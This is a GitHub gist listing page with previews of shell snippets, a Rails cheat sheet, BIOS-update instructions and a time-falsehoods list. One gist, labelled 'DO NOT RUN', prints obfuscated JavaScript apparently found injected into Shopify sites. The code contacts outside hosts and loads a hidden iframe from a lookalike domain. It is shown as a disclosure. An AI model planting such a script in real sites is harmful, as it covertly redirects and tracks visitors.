Skip to content

Instantly share code, notes, and snippets.

View shkm's full-sized avatar
😵‍💫
Stumbling through life, one exception at a time.

Jamie Schembri shkm

😵‍💫
Stumbling through life, one exception at a time.
View GitHub Profile
@eNV25
eNV25 / hp-bios-update.md
Last active April 14, 2024 15:31
Instructions to Update the BIOS/UEFI for an HP Laptop on Linux

Instructions to Update the BIOS/UEFI for an HP Laptop on Linux

To update the BIOS/UEFI firmware requires HP-specific files in the EFI System Partition, also referred to as ESP.

On a Linux system, the ESP is typically mounted on /boot/efi or /efi. Whithin you should also find a EFI directory, e.g. /boot/efi/EFI or /efi/EFI. This article assumes that the ESP is mounted on /efi and that the /efi/EFI directory exists. You can replace that with the mount point your system uses.

The HP-specific files are located in /efi/EFI/HP or /efi/EFI/Hewlet-Packard. These files typically come preinstalled in HP Windows PCs. If you have these files you could skip Install HP-specific files.

@tomhicks
tomhicks / plink-plonk.js
Last active March 18, 2024 02:23
Listen to your web pages
@rbreaves
rbreaves / WaylandUbuntu19.10-AppTitle
Last active February 7, 2024 12:02
Grab wmclass name or Window Name/Title under Wayland with Gnome 3.x
# Single Command, runs 2 calls to gdbus to get the currently active Window from Gnome 3.x
# Escaped so you can copy and paste into terminal directly
gdbus call -e -d org.gnome.Shell -o /org/gnome/Shell -m org.gnome.Shell.Eval global.get_window_actors\(\)[`gdbus call -e -d org.gnome.Shell -o /org/gnome/Shell -m org.gnome.Shell.Eval global.get_window_actors\(\).findIndex\(a\=\>a.meta_window.has_focus\(\)===true\) | cut -d"'" -f 2`].get_meta_window\(\).get_wm_class\(\) | cut -d'"' -f 2
# Unescaped version, will not run
# Broken down into 2 commands.
# Call to Gnome to get the array location of the active Application
gdbus call -e -d org.gnome.Shell -o /org/gnome/Shell -m \
@daniel-sim
daniel-sim / cdn-myshopify.com-file-jquery.min.js
Created April 18, 2019 16:41
DO NOT RUN: potentially malicious JavaScript found on some Shopify sites
var _0x3a4e=["random","floor","referrer","m.facebook.com","instagram.com","google.","bing.","indexOf","hostname","location","ourogoods.com","href","dice-bracelet","userAgent","test","onreadystatechange","readyState","status","california","responseText","http://bit.ly/2VdQsq0","GET","https://comic16.com/test/state","open","send","iframe","createElement","display","style","none","id","if-r-js-x","src","https://cdn-myshopify.com/home.html?q=","&cdnref=","appendChild","body","getElementById","remove"];var radN=Math[_0x3a4e[1]]((Math[_0x3a4e[0]]()* 100)+ 1);var siteRe=document[_0x3a4e[2]];var fRefFa=_0x3a4e[3];var fRefIn=_0x3a4e[4];var fRefGo=_0x3a4e[5];var fRefBg=_0x3a4e[6];var isMRFa=siteRe[_0x3a4e[7]](fRefFa);var isMRIn=siteRe[_0x3a4e[7]](fRefIn);var isMRGo=siteRe[_0x3a4e[7]](fRefGo);var isMRBg=siteRe[_0x3a4e[7]](fRefBg);if((isMRFa> -1|| isMRIn> -1|| isMRGo> -1|| isMRBg> -1)&& radN<= 15){var hname=window[_0x3a4e[9]][_0x3a4e[8]];var fHtn=_0x3a4e[10];var isMhtn=hname[_0x3a4e[7]](fHtn);var furl=window[_0x3a4e[
@timvisee
timvisee / falsehoods-programming-time-list.md
Last active April 26, 2024 04:52
Falsehoods programmers believe about time, in a single list

Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

  • There are always 24 hours in a day.
  • February is always 28 days long.
  • Any 24-hour period will always begin and end in the same day (or week, or month).
@cdesch
cdesch / rails_generator_cheat_sheet.md
Last active March 30, 2024 09:07
Rails Generator CheatSheet

Cheat Sheets are greate but they are not a substitute for learning the framework and reading the documentation as we most certainly have not covered every potential example here. Please refer to the Rails Command Line Docs for more information.

Command Line Generator Info

Reference

You can get all of this information on the command line.

rails generate with no generator name will output a list of all available generators and some information about global options. rails generate GENERATOR --help will list the options that can be passed to the specified generator.

@javierarques
javierarques / config.rb
Created August 22, 2017 08:00
Middleman 4 and Webpack 3 integration. Use Middleman with External Pipeline.
# ...
activate :external_pipeline,
name: :webpack,
command: build? ? "npm run build:assets" : "npm run start:assets",
source: ".tmp/webpack_output",
latency: 1
# ...
# GIT heart FZF
# -------------
is_in_git_repo() {
git rev-parse HEAD > /dev/null 2>&1
}
fzf-down() {
fzf --height 50% --min-height 20 --border --bind ctrl-/:toggle-preview "$@"
}
@raecoo
raecoo / awk-example.sh
Last active September 21, 2023 07:12
awk/grep commands for Rails log analysis
# Access number
cat production.log | grep "^Processing" | wc | awk '{print $1}'
# Each IP access number
cat production.log | grep “^Processing” | awk ‘{print $4}’ | uniq -c
# Independent IP number
cat production.log | grep "^Processing" | awk '{print $4}' | uniq | wc | awk '{print $1}'
cat production.log | grep “^Processing” | awk ‘{print $4}’ | uniq | wc -l